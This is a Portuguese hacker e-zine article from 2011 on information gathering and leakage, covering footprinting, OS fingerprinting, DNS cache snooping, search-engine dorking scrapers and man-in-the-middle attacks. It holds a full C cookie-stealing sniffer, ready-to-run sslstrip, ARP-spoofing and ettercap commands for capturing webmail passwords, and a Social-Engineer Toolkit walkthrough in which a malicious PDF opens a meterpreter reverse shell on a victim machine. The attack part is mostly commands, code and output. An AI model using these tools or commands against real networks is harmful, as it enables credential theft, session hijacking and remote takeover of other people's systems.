____ _.-'111 `"`--._ ,00010. .01011, ''-.. ,10101010 `111000. _ ____ ; /_..__..-------- ''' __.' / `-._ /""| _..-''' ___ __ __ ___ __ __ . __' ___ . __ "`-----\ `\ | | | | __ | | |\/| |___ | | | |__] | |\ | |__| |__/ | | | | ;.-""--.. |___ |__| |__] |__| | | |___ |___ |__| |__] | | \| | | | \ | |__| | ,10. 101. `.========================================--============================== `;1010 `0110 : 1º Edição .1""-.|`-._ ; 010 _.-| +---+----' `--'\` | / / ...:::binariae:fungus:::... ~~~~~~~~~| / | |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \| / | `----`---' Language:Portuguese Autor:Antonio Costa "Cooler_" Contato:c00f3r[at]gmail[dot]com Data: 01/10/11 ___ _____ ____ __ | | _____/ ____\____ | | ____ _____ | | __ ______ | |/ \ __\/ _ \ | | _/ __ \\__ \ | |/ / / ___/ | | | \ | ( |_| ) | |__\ ___/_/ __ \| ( \___ \ |___|___| /__| \____/ |_______ \___ |____ /__|_ \/____ / \/ \/ \/ \/ \/ \/ -Índice ======== +-----------------------------------------------------+ | 0x01- Footprint e Fingerprint | | 0x02- Ataque man-in-the-middle | | 0x03- Rastreamento de Cache no DNS | | 0x04- Só um DNS mesmo ? | | 0x05- O todo poderoso Google | | 0x06- Como conseguiu esse Documento ? | | 0x07- Cocktail de E-mails | | 0x08- E-mails e o "The Social-Engineer Toolkit" | | 0x09- Introdução a Automação no Google Hacking | | 0x0a- Agradecimentos | +-----------------------------------------------------+ Dica:De um find no número que você quer para ir direto em um tópico exemplo "0x09" -Introdução ============ ,-~-, ,-~~~~-, /\__/\ (\ / ,-, \ ,' '. / ^ ^ \ \'-' / \ \ / _ )/ <0 0> \ '--' \ \/ .' '. \ = Y =/ \ / \ \ )-..!.-' \ \ \ \ `\ \\ ) / / / \ \\ |~~~~~~~~| / / / /__ \ \\__ | Google | (____)))_))) \__))) |________\~~~~~~01010110 Neste paper vamos abordar um pouco sobre "Info Leak" ou seja vazamento de informações , embora seja um assunto bem falado concluí que seria um assunto fascinante para iniciar no meu primeiro paper para a e-zine , neste ano 2011, ocorreu muitas noticías intrigantes entorno do wikileaks , estes acontecimentos colaboraram na minha escolha , entretanto estou colocando alguns pontos empíricos para ilustrar. irei mostrar algumas práticas comuns de footprint,fingerprint e diversas formas de pegar informações bem como usar o google,bing seja para fazer download de documentos como currículos ou buscar e-mails,servidores vulneráveis etc... Leitores , obrigado pela presença! Obrigado por acreditar! Se poder nos ajude... "Um sonho sonhado sozinho é um sonho. Um sonho sonhado junto é realidade." Por Raul Seixas -0x01 Footprint e fingerprint =============================== -Footprint Footprint ou "pegada" uma analogia a técnica forense de seguir pegadas , é a técnica usada para se obter informações sobre um host como nome dos domínios , responsáveis pelos domínios , topologia da rede, tipos de serviços que estão rodando no host , e-mail de funcionários, informações que podem ser útil em um ataque. *usando "whois" -Como exemplo como levantar informações de um domínio usamos "whois" whois alvo.com -só por curiosidade caso você goste de programar e queira entender a fundo um whois http://bugsec.googlecode.com/files/whois.c *usando "host" -Consultando base DNS: host -l -v -t any alvo.com -procurando servidor de em ail: host -t mx alvo.com -Descobrindo os IPs de servidores DNS: host -t ns alvo.com -olhando o CNAME host -t CNAME alvo.com *usando "dig" -informações do registro MX: dig -t mx .com.br -informações sobre o registro SOA: dig -t soa .com.br *usando nslookup -consultar cname nslookup Set type=cname alvo.com *usando traceroute para ajudar na topologia da rede, saber se tem roteadores,gateways etc... traceroute -p22 192.168.0.134 *ferramenta que pode ajudar é o "cheops-ng" se você estiver dentro da rede. *usando netcat para ver banner de um serviço TCP nc alvo.com 21 -pelo banner você pode ver versão do software que está rodando e assim procurar um exploit para o mesmo *usando nmap para ver o banner também nmap -sV alvo.com -p 21 Caso queira usar algum script do nmap "http://nmap.org/nsedoc/scripts/banner.html". Lembrando que se for usar bits de controle como fin, syn precisará estar como root já que para o mesmo precisa usar raw sockets. Observação quanto aos banners , alguns sysadmins mudam banner botando uma versão diferente da real , ou mesmo usam um honeypot para fazer tal feito... No decorrer deste "paper" vamos ilustrar alguns ataques diferentes não sitados como footprint mas estão no mesmo rótulo como "Rastreamento de Cache no DNS". -FingerPrint Logo de cara você já deve ter pensado que estes ataques tem uma analogia a biometria , bom é apenas uma analogia para dizer que cada sistema operacional tem sua marca. vamos ilustrar isso repare que o nmap vai pedir para usar root já que o mesmo vai usar raw sockets. Ferramenta mais popular para tal é o nmap , um scaner de portas usados por sysadmin,hackers(whitehats,blackhats...) entre outros para descobrir serviços que estão abertos info do "OS" Exemplo simples com nmap; nmap -O host |_ argv para saber versão do OS nmap -vv -sS -P0 -O localhost sS = usando SYN um bit de controle responsável por sincronismo vv = scan mostrando verbose detalhada P0 = sem ping para ver mais argumentos com nmap ,"nmap --h" pode-se usar spoofing também... #nmap -sF -vv -PN -g 53 -n -T 5 -A -D micosoft.com ip_vitima -p portas Para evitar isso alguns sistemas operacionais como exemplo o OpenBSD tem uma função no PF(packet filter) para camuflar os Sistemas operacionais em ataques fingerprint semelhante a honeypot no arquivo "/etc/pf.os", -http://openbsd.org/faq/pf/filter.html#osfp Antigamente no meu "OpenBSD 4.3" eu adicionava no pf.conf seguintes regras set fingerprints "/etc/pf.os" block drop in quick on eth0 from any os { NMAP } Então quando o atacante mandava fingerprint achava que estava rodando no host do alvo um CISCO,HP-UX algum host do arquivo "pf.os". Bom para ludibriar mas alguns ataques otimizados com FIN , SYN com tempo diferente do default do "nmap" pode mudar os resultados podendo ai chegar no resultado do tipo de OS. Só umas palavrinhas quanto ao PF , meio que utópico mas vou falar , andam por ai dizendo que o PF não segura rojão e como gateway deixa na mão é lento etc... , Bom você usa "scrub all" , "antispoof" claro que vai ficar lento ele normaliza e analisa tudo o que passa por ele... se quer desempenho use só o "block all" depois vá dando "pass". Voltando ao tópico caso queira tentar fazer seu port Scan sugiro que veja minha ferramenta o "hyde" está certo que só manda send() com raw mas pode ser útil para estudo https://github.com/CoolerVoid/C/blob/master/hyde3.c última dica do tópico o paper "The Art of Port Scanning" do fyodor http://www.phrack.org/issues.html?issue=51&id=11#article lembrando que o nmap anda sendo muito usado em conjunto com metasploit vide o "fast track" do secmaniac "www.secmaniac.com" *ferramentas que você deve conhecer http://lcamtuf.coredump.cx/soft/p0f.tgz http://lcamtuf.coredump.cx/soft/fl0p-devel.tgz http://lcamtuf.coredump.cx/soft/0trace.tgz Referência: http://insecure.org http://www.openbsd.org -0x02 Ataque man-in-the-middle =============================== Interceptação de dados é uma das técnicas que não poderia faltar neste paper , já que o mesmo trata de vazamento de informações. *Bom vamos ao básico primeiro ferramenta simples e que gosto muito é o "tcpdump", da para fazer o mesmo usando outras ferramentas como wireshark , ettercap , dsnif. fica a seu gosto. http://www.tcpdump.org/ Exemplo: --------------------------------- $ tcpdump -i eth0 -n tcp port 110 -A *assim podemos pegar senhas do POP3 $ tcpdump -i eth0 -n tcp port 80 -A | grep Cookie *assim temos uma visão dos Cookies que passam no protocolo HTTP $ man tcpdump #milhares de outros tipos de ataques... --------------------------------- Obter acesso remoto a um server, deixar além de um backdoor um snifer para minar senhas e tudo mais. por exemplo... *Otimizando o Ataque ------------------------ Vou passar um exemplo , lembrando que com coisas simples são a raiz para resolver problemas complicados , Baseado nos exemplos da "libpcap" se fosse fazer usando "raw sock" iria dar um trabalho maior e não seria portável e poderia tirar o foco aqui. Continuando a ideia do roubo de Cookies do exemplo anterior --------------------------------- /* Simple Cookie Eater v0.1 *what is this ? -so this is Simple Cookie stealer -Just Another Snifer to find cookies *follow my example to run: root# gcc -o code code.c -lpcap; ./code eth0 1000 log.txt the 1000 is number of packets to carry is held by GPL Based on tcpdump examples Author: Cooler_ E-mail: c00f3r[at]gmail[dot]com date: 02/08/2011 BugSec Security TEAM http://code.google.com/p/bugsec/ thanks: m0nad,_mlk_,IAK,sigsegv,delfo,c0lt7r,joey,fokerbug, zepplin,otacon,backbone,nibbles,voidpointer,muzgo,memset,novato_br */ #include #include #include #include #include #include #include #include #include // Colors Macros #define WHITE1 "" #define GRAY "" #define RED "" #define GREEN "" #define BLUE "" /* default snap length (maximum bytes per packet to capture) */ #define SNAP_LEN 1518 /* ethernet headers are always exactly 14 bytes [1] */ #define SIZE_ETHERNET 14 /* Ethernet addresses are 6 bytes */ #define ETHER_ADDR_LEN 6 /* Ethernet header */ struct sniff_ethernet { u_char ether_dhost[ETHER_ADDR_LEN]; /* destination host address */ u_char ether_shost[ETHER_ADDR_LEN]; /* source host address */ u_short ether_type; /* IP? ARP? RARP? etc */ }; // baseado no exemplo de snifer da libpcap /* IP header */ struct sniff_ip { u_char ip_vhl; /* version << 4 | header length >> 2 */ u_char ip_tos; /* type of service */ u_short ip_len; /* total length */ u_short ip_id; /* identification */ u_short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ u_char ip_ttl; /* time to live */ u_char ip_p; /* protocol */ u_short ip_sum; /* checksum */ struct in_addr ip_src,ip_dst; /* source and dest address */ }; #define IP_HL(ip) (((ip)->ip_vhl) & 0x0f) #define IP_V(ip) (((ip)->ip_vhl) >> 4) /* TCP header */ typedef u_int tcp_seq; struct sniff_tcp { u_short th_sport; /* source port */ u_short th_dport; /* destination port */ tcp_seq th_seq; /* sequence number */ tcp_seq th_ack; /* acknowledgement number */ u_char th_offx2; /* data offset, rsvd */ #define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4) u_char th_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 #define TH_ECE 0x40 #define TH_CWR 0x80 #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR) u_short th_win; /* window */ u_short th_sum; /* checksum */ u_short th_urp; /* urgent pointer */ }; static char *FileName; void Logo() { int c=0; char *banner[] = { "(COOKIE)", "w c(..)o (", " \\__(-) )", " /\\ ( ", " / ()__) ", " w /|", " | \\", " m m", "Cooler's Simple Cookie Eater v0.1", }; while(c^8) puts(banner[c]),c++; } void Usage() { puts("Simple Cookie Eater v0.1\n follow the example"); puts("./code eth0 Number_of_packets2get log.txt"); } void WriteFile(char *file,char *str) { FILE *arq; arq=fopen(file,"a"); if(!arq) puts("error to write log file"); fprintf(arq,"%s\n",str); fclose(arq); } void TookPacket(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) { static int count = 1; const struct sniff_ethernet *ethernet; const struct sniff_ip *ip; const struct sniff_tcp *tcp; const char *payload; char *FileWord; int size_ip,size_tcp,size_payload; fprintf(stdout,"\nPacket number %d:\n", count); count++; ethernet=(struct sniff_ethernet*)(packet); ip=(struct sniff_ip*)(packet + SIZE_ETHERNET); size_ip=IP_HL(ip)*4; if(size_ip<20) { fprintf(stdout,"* Invalid IP header length: %u bytes\n", size_ip); return; } fprintf(stdout,"From: %s\n", inet_ntoa(ip->ip_src)); fprintf(stdout,"To: %s\n", inet_ntoa(ip->ip_dst)); switch(ip->ip_p) { case IPPROTO_TCP: puts("Protocol: TCP\n"); break; case IPPROTO_IP: puts("Protocol: IP\n"); return; default: puts("Protocol: unknown\n"); return; } tcp=(struct sniff_tcp*)(packet + SIZE_ETHERNET + size_ip); size_tcp=TH_OFF(tcp)*4; if(size_tcp < 10) { fprintf(stdout,"* Invalid TCP header length: %u bytes\n", size_tcp); return; } fprintf(stdout,"Src port: %d\n", ntohs(tcp->th_sport)); fprintf(stdout,"Dst port: %d\n", ntohs(tcp->th_dport)); payload=(char *)(packet+SIZE_ETHERNET+size_ip+size_tcp); size_payload=ntohs(ip->ip_len)-(size_ip+size_tcp); FileWord=malloc(sizeof(char *)*size_payload); if(size_payload!=0) { fprintf(stdout," Payload (%d bytes):\n", size_payload); fprintf(stdout,"Look Payload:\n%s\n",payload); // esta parte é bom customizar ao seu gosto :-) // aqui nosso filtro , se no ascii tem "Cookie" então pegamos :-) if(strstr(payload,"Cookie:")) { fprintf(stdout,"\n%s cookies:is:here %s \n",RED,WHITE1); snprintf(FileWord,sizeof(FileWord),"From: %s\nCookie: %s\n\n",inet_ntoa(ip->ip_src),payload); WriteFile(FileName,FileWord); } } free(FileWord); } int main(int argc, char **argv) { char *dev = NULL; char errbuf[PCAP_ERRBUF_SIZE]; char filter_exp[] = "ip"; pcap_t *handle; struct bpf_program fp; bpf_u_int32 mask; bpf_u_int32 net; int num_packets = 0; Logo(); if(argc==4) { dev=argv[1]; num_packets=atoi(argv[2]); FileName=argv[3]; } else if(argc > 3) { fprintf(stderr, "error: unrecognized command-line options\n\n"); Usage(); exit(EXIT_FAILURE); } else { dev=pcap_lookupdev(errbuf); if(dev == NULL) { fprintf(stderr, "Couldn't find default device: %s\n", errbuf); exit(EXIT_FAILURE); } } if(pcap_lookupnet(dev, &net, &mask, errbuf) == -1) { fprintf(stderr, "Couldn't get netmask for device %s: %s\n",dev, errbuf); net=0; mask=0; } fprintf(stdout,"Device: %s\n", dev); fprintf(stdout,"Number of packets: %d\n", num_packets); fprintf(stdout,"Filter expression: %s\n", filter_exp); // abrindo dispositivo de captura handle=pcap_open_live(dev, SNAP_LEN, 1, 1000, errbuf); if(handle == NULL) { fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf); exit(EXIT_FAILURE); } if(pcap_datalink(handle) != DLT_EN10MB) { fprintf(stderr, "%s is not an Ethernet\n", dev); exit(EXIT_FAILURE); } if(pcap_compile(handle, &fp, filter_exp, 0, net) == -1) { fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle)); exit(EXIT_FAILURE); } if(pcap_setfilter(handle, &fp) == -1) { fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle)); exit(EXIT_FAILURE); } pcap_loop(handle, num_packets, TookPacket, NULL); // free pcap pcap_freecode(&fp); pcap_close(handle); puts("End Look the logs file"); puts(FileName); return 0; } --------------------------------- Esse código é simples baseado nos exemplos da "libpcap", parece ser algo bobo , mas imagine as possibilidades usar um exec() , system() em "mail" para enviar os logs para seu e-mail,ou mesmo fazer um POST ou GET para mandar informações para um código PHP em um servidor Zumbi... *E se encontrar SSL ? Em 2009 na conferencia Black Hat DC um hacker aka "moxie0" mostrou uma técnica de roubar dados de HTTPS redirecionando para HTTP, o programa para fazer isso pode ser usado em conjunto com "dsnif" , "ettercap", "wireshark". Olhando o "github" do seu projeto "SSLstrip" você pode entender os detalhes de desenvolvimento caso saiba python. https://github.com/moxie0/sslstrip Pessoalmente tinha ouvido falar muito bem do twisted , mas não imaginava ser algo tão poderoso,analisando aqui descobri que se pode fazer um http proxy server em poucas linhas "http://wiki.python.org/moin/Twisted-Examples". Código em "SSLServerConnection.py" da para ver que o autor faz os parsers todos manualmente usando regex , deixando no ar a dúvida se python não tem módulo que faça isso. Exemplo de uso: -instalando requesitos; apt-get install python python-twisted-web dsniff ettercap -baixe o programa https://github.com/moxie0/sslstrip -instale sudo python ./setup.py install -ative modo de redirecionamento echo "1" > /proc/sys/net/ipv4/ip_forward -redirecione porta 80 para uma porta qualquer iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1337 -usamos sslstrip na porta que foi redirecionada sslstrip.py -l 1337 -fazemos ataque arp spoofing arpspoof -i eth0 -t IpAlvo GatewayDoIP *caso quer saber o seu gateway " ip route show | grep default | awk '{ print $3}' " *caso queira saber os IPs dos PCs que tem na rede use o "cheops-ng" ou faça uma varredura com nmap... *O que é ARP Spoofing ? ARP-Poisoning,ArpSpoofing é ataque no qual uma falsa resposta ARP é enviada à uma requisição ARP original assim o host alvo manda informações para quem enviou a falsa resposta. -então ettercap sudo ettercap -Tqz -agora só esperar senhas de gmail,yahoo etc, no terminal onde foi executado o ettercap. *para se pensar -E se invés de usar ettercap usar nosso "cookie eater" ou algum snifer otimizado por você ? -E se você quebrar uma WEP e estiver numa rede que não conhece ? -E se você deixar sua wifi aberta e snifar quem entrar ? referências: http://www.tcpdump.org/pcap.html https://github.com/moxie0/sslstrip -0x03 Rastreamento de Cache no DNS ====================================== Com a cache de um DNS podemos saber que DNS a empresa alvo acessa, em palavras mais comuns , imagine se o servidor alvo for ponte para uma intranet para os funcionarios ter acesso a internet , você vai poder ver em que site os funcionarios visitaram , parece ser médiocre mas olhe o que você pode saber. *Site que a empresa usa para comprar ações *De que distribuidores a empresa alvo compra *DNS de um UPDATE de algum software *Qual site mais visitado por Funcionarios *Que Banco é usado pela empresa *DNS de algum Gateway de pagamento se usa alguma máquina da Cielo... *DNS para POP3 mais usado pela empresa exemplo: gmail,yahoo,hotmail... Como o Fazer ? --------------- vamos usar o comando "dig" para testar o DNS /-ataque não recursivo | $ dig vodkaNostra.com cogumelobinario.hashit.org A +norecurse | | alvo ver se já visitou esta URL Bom analisando o OUT do "dig" se encontrar "ANSWER: 0..." significa que o DNS provavelmente não foi visitado pelo alvo se encontrar "ANSWER: [0-9]+" significa que alguém já solicitou este serviço por la pode ser solicitado a TTL time para saber quando foi visitado... *norecurse diz que o ataque não vai ser recursivo,se for vai acabar deixando rastro não é uma boa ideia... Automatizando -------------- Fazer manualmente ir chutando DNS para descobrir é uma tarefa chata , Você pode fazer um programa para dar um system() com "dig" depois usa strstr() para achar o "ANSWER: 0", usar uma lista de URLs, ou mesmo fazer seu próprio dig com socket() conectando na porta 53. Daria trabalho mesmo por que já existe a roda , vamos ver um script para o nmap. http://nmap.org/nsedoc/scripts/dns-cache-snoop.html EXEMPLO: ---------- nmap -sU -p 53 --script dns-cache-snoop.nse \ --script-args 'dns-cache-snoop.mode=timed,dns-cache-snoop.domains={host1,host2,host3}'\ vodkaNostra.com PORT STATE SERVICE REASON 53/udp open domain udp-response | dns-cache-snoop: 8 of 213 tested domains are cached. | www.google.com | facebook.com | www.youporn.com | xvideos.com | itau.com.br | www.microsoft.com | ambev.com.br |_www.cielo.com.br Dica, no vetor "ALEXA_DOMAINS" bote mais dominios de prefêrencia da região do host... Outro Script fascinante que pode ajudar: http://misc-security.com/blog/2009/10/interrogating-dns-caches-cache-snoop/ -0x04 Só um DNS mesmo ? ======================== Muitos já chegam focados em um só servidor atacando com autopwn, chegam a desistir se não achar nada , mas na verdade á sempre outros servidores alternativos não só para WEB mas com serviços diversos como de POP3 , SMTP ou mesmo um FTP"hehe aquele ProFTPd com versão deprecated",serviço sempre é colírio para os olhos do atacande pois vendo o banner ele pode ter um pseudo julgamento se a versão está desatualizada"cof cof o sysadmin pode alterar o banner", logo procurar na Internet um possível exploit para explorar... Todo dado obtido é útil e ainda mas um que almenta a tabela de probabilidades de sucesso em um ataque, para a descoberta de possíveis hosts do alvo podemos usar o "DNS-discovery" ferramenta do meu amigo "m0nad". Na minha opinião a melhor ferramenta para tal feito... DOWNLOAD em http://code.google.com/p/dns-discovery/ https://github.com/m0nad/DNS-Discovery/ compilamos: $ gcc -o dns-discovery dns-discovery.c -Wall -Wextra -lpthread -O3 $ ./dns-discovery ___ _ ______ ___ _ / _ \/ |/ / __/___/ _ \(_)__ _______ _ _____ ______ __ / // / /\ \/___/ // / (_- [options] options: -w (default : wordlist.wl) -t (default : 1) -r -c executamos: $ ./dns-discovery bola8.com.br -w wordlist.wl -t 5 -r log.txt resultado: ___ _ ______ ___ _ / _ \/ |/ / __/___/ _ \(_)__ _______ _ _____ ______ __ / // / /\ \/___/ // / (_- resource (src/program_junk/meta_config)> use exploit/multi/handler resource (src/program_junk/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp resource (src/program_junk/meta_config)> set LHOST 192.168.0.34 LHOST => 192.168.0.34 resource (src/program_junk/meta_config)> set LPORT 443 LPORT => 443 resource (src/program_junk/meta_config)> set ENCODING shikata_ga_nai ENCODING => shikata_ga_nai resource (src/program_junk/meta_config)> set ExitOnSession false ExitOnSession => false resource (src/program_junk/meta_config)> exploit -j [*] Exploit running as background job. msf exploit(handler) > [*] Started reverse handler on 192.168.0.34:443 [*] Starting the payload handler... msf exploit(handler) > ------------------------------------------ Deixamos o terminal aberto e esperamos a vitima abrir o arquivo PDF ------------------------------------------ [*] Sending stage (748544 bytes) to 192.168.0.76 [*] Meterpreter session 1 opened (192.168.0.34:443 -> 192.168.0.76:1139) at Thu Sep 04 01:58:06 -0400 2011 msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > shell Process 3218 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Administrator\Desktop> ------------------------------------------ lembrando que esse foi exemplo bem simples Bom sugiro que leia o manual no arquivo "set/readme/User_Manual.pdf" por la explica milhares de coisas bacanas para se fazer com esta ferramenta. -0x09 Introdução a Automação no Google Hacking ================================================== Durante o "Google Hacking" temos que por muita vezes separar as URLs manualmente então abrir uma por uma para investigar qual realmente condiz com que buscamos , com programação simples com "Sockets" podemos fazer tal feito. O mais difícil pode ser apenas o "parser" mas nada que uma regex não resolva , escolha da linguagem de programação fica a seu critério vou tentar ilustrar... Vamos a um Exemplo em linguagem C vou comentar as linhas para ajudar no aprendizado... ----------------------------------- /* Googler v 0.001 autor: Cooler_ contato: c00f3r[at]gmail[dot]com Just Another Googler Spider to help you in google hacking -------------------------------------------- THANKS sigsegv and di0_ to help me in debug ;-) --- HOW to USE ? apt-get install libcurl-dev; gcc -o Googler Googler.c -lcurl; ./Googler */ #include #include #include #include #include #include #include char *StrRep(char *st, char *orig, char *repl,const int mim); char *regexp (char *string, char *patrn); static size_t WriteMemoryCallback(void *ptr, size_t size, size_t nmemb, void *data); void chomp (char * str); int WriteFile(char *file,char *str); void help() { puts( "Simple Googler v0.001\n" "./code dork number_of_searchs log.txt\n" " ------------------------------------\n" " by Cooler_ , BugSec Team , contact: c00f3r[at]gmail[dot]com\n" ); } struct MemoryStruct { char *memory; size_t size; }; int main(int argc, char ** argv) { struct MemoryStruct chunk; // curl vars CURL *curl_handle; curl_global_init(CURL_GLOBAL_ALL); // Google URL vars char *GOOGLE1="http://www.google.com/search?&q="; char *GOOGLE2="&start="; char *NUM=(char *)malloc(256*sizeof(char)); char *GoogleURL=(char *)malloc(768*sizeof(char)); char *BUSCA=(char *)malloc(128*sizeof(char)); int times=0; //REGEX vars char *match; char **stack=(char **)malloc(3000*sizeof(char *)); char *replace=""; char *regex="(https?|ftp)+://[^ \t\r\n\v\f]*"; int count=0; if(argc<3) { help(); return 0; } BUSCA=argv[1]; times=atoi(argv[2]); char *arquivo=argv[3]; printf("\nProcurando por %s em %d paginas\n",BUSCA,times); while(times) { // pack da URL,manipulando os GETs como START == número da página, q == campo de busca strncpy(GoogleURL,GOOGLE1,sizeof(GOOGLE1)*strlen(GOOGLE1)); strncat(GoogleURL,BUSCA,sizeof(BUSCA)*strlen(BUSCA)); strncat(GoogleURL,GOOGLE2,sizeof(GOOGLE2)*strlen(GOOGLE2)); sprintf(NUM,"%d",times); strncat(GoogleURL,NUM,sizeof(NUM)); strncat(GoogleURL,"0",sizeof(char)); // veja como fica a URL puts(GoogleURL); puts("------------------\n"); chunk.memory=NULL; chunk.size=0; curl_handle=curl_easy_init(); curl_easy_setopt(curl_handle, CURLOPT_URL,GoogleURL); curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION,WriteMemoryCallback); curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA,(void *)&chunk); curl_easy_setopt(curl_handle, CURLOPT_USERAGENT,"Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.17) Gecko/2009122116 Firefox/3.0.17 "); /* UserAgent para diminuir as suspeitas de spider, se tirar isso o Google pode pedir captcha... se for fazer muitas buscas é aconselhavel usar proxy exemplo curl_easy_setopt (curl_handle, CURLOPT_PROXY,"http://127.0.0.1:8118/"); */ curl_easy_perform(curl_handle); curl_easy_cleanup(curl_handle); if(chunk.memory) { while(strstr(chunk.memory,"http")) { match=regexp(chunk.memory,regex); // filtro simples para tirar urls do google if( !( strstr(match,"google") || strstr(match,"youtube") || strstr(match,"orkut") || strstr(match,"gstatic")) ) { // tirando " das urls chomp(match); puts(match); // escrevendo no arquivo log WriteFile(arquivo,match); //caso queira usar a lista mais tarde... *(stack+count)=match; count++; } // apagamos a URL achada para pegar a próxima chunk.memory=StrRep(chunk.memory,match,replace,chunk.size); free(match); } } if(chunk.size < 10) free(chunk.memory); // limpamos o buffer do curl para o próximo curl_global_cleanup(); times--; } // limpamos a heap free(NUM); free(GoogleURL); free(stack); return 0; } static size_t WriteMemoryCallback(void *ptr,size_t size,size_t nmemb,void *data) { size_t realsize=size*nmemb; struct MemoryStruct *mem=(struct MemoryStruct *)data; mem->memory=realloc(mem->memory,mem->size+realsize+1); if(mem->memory) { memcpy(&(mem->memory[mem->size]),ptr,realsize); mem->size+=realsize; mem->memory[mem->size]=0; } return realsize; } //string replace char *StrRep(char *st,char *orig,char *repl,const int mim) { char bufer[mim]; char *ch; if(!(ch = strstr(st, orig))) return st; strncpy(bufer, st, ch-st); bufer[ch-st] = 0; sprintf(bufer+(ch-st),"%s%s",repl,ch+strlen(orig)); char *out=bufer; return out; } char *regexp(char *string, char *patrn) { int i=0,w=0,len=0,begin=0,end=0; char *word=NULL; regex_t rgT; regmatch_t match; regcomp(&rgT,patrn,REG_EXTENDED); if(!(regexec(&rgT,string,1,&match,0))) { begin=(int)match.rm_so; end=(int)match.rm_eo; len=end-begin; word=(char *)malloc(len+1); i=begin; while(i'Mozilla/4.76 [en] (Win98; U)', 'Accept'=>'image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,image/png, */*', 'Accept-Charset'=>'iso-8859-1', 'Accept-Language'=>'en-US', ); $busca=$ARGV[0]; $txt=$ARGV[1]; print "Searching to: $busca\n save in $txt\n\n"; if((!$busca)&&(!$txt)) { banner(); print "Please follow the example ./programm dork file.txt\n"; print color 'reset'; exit; } if(($busca)&&($txt)) { for($num=0; $num<=100; $num++) { $url=URI->new('http://www.bing.com/search'); $url->query_form( 'q'=>$busca,'go'=>'','filt'=>'all','first'=>$num.'1' ); $navegador=LWP::UserAgent->new; my $resultado=$navegador->get($url,@config); $res=$resultado->content; #open(OUT, ">>index.html"); print OUT "$res\n"; close(OUT); #$p = HTML::TokeParser->new("index.html"); $p = HTML::TokeParser->new(\$res); while ($p->get_tag("cite")) { my @link = $p->get_trimmed_text("/cite"); foreach(@link) { print "$_\n"; } open(OUT, ">>$txt"); print OUT "@link\n"; close(OUT); #unlink("index.html"); } } open(OUT,"<$txt"); $line=0; foreach() { if($_ =~ /\S/) { $line+=1; } } limpa(); banner(); print "---------------\nTotal off links $line ,save in $txt\n"; sleep 1; print color 'reset'; exit; } -------------------------- se não tiver algum módulo use o CPAN para instalar $ cpan -i nome_modulo -0x0a Agradecimentos ====================== Espero ter ajudado... fico por aqui... ------------------------ Galera do Bugsec.com.br "I4K,m0nad,_mlk_,sigsegv,b-man" Galera da freenode dos canais #fym,#reset,#c-br,#calculus,#lisp-br,#gentoo-br,#gdb,#c4ll Galera em geral: eremitah,syn_ack,di0,tau,s0n1c,ryonagana,camarllon,twi-john,B4r0n, memset,vuln,delf0,VonNaturAustreVe,menteBinária(nandu),decoder, voidpointer(diego rocha),muzgo,mario-goulart,brn,clandestine, zhide00,sm0k_,darkside,madrand,f117,t0kata,edenc e nibles. visite ai http://coolerlab.wordpress.com http://code.google.com/u/c00f3r/ https://github.com/CoolerVoid/ _____ .: :. (_________) __ | | .: :. | | (______) / / || / / || / / __ _ || | | (__) , (_) \\010| || .; _..--, \\.0101010110. ;': ' ',,,\ .^. .^. .^. .0101011010101. ;_; '|_ ,' .100101010101011. | .;;;;., ,': .^. '. .^. ,;::;:::.. ..;;;;;;;;.. :_,' .;' .^. .' '':::;._.;;::::''''':;::;/' .;:; . ':::::::;;' '::::: ...;: .^. .^. ':::' /':::; ..:::::;:..::::::::.. .^. .^. .^. ; ,'; ':::;;...;::;;;;' ';;. .^. ,,,_/ ; ; ';;:;::::' '. .^. ..' ,' ;' ''\ ' .^. ' ''' .^. ' ;'. .^. .^. : : .^.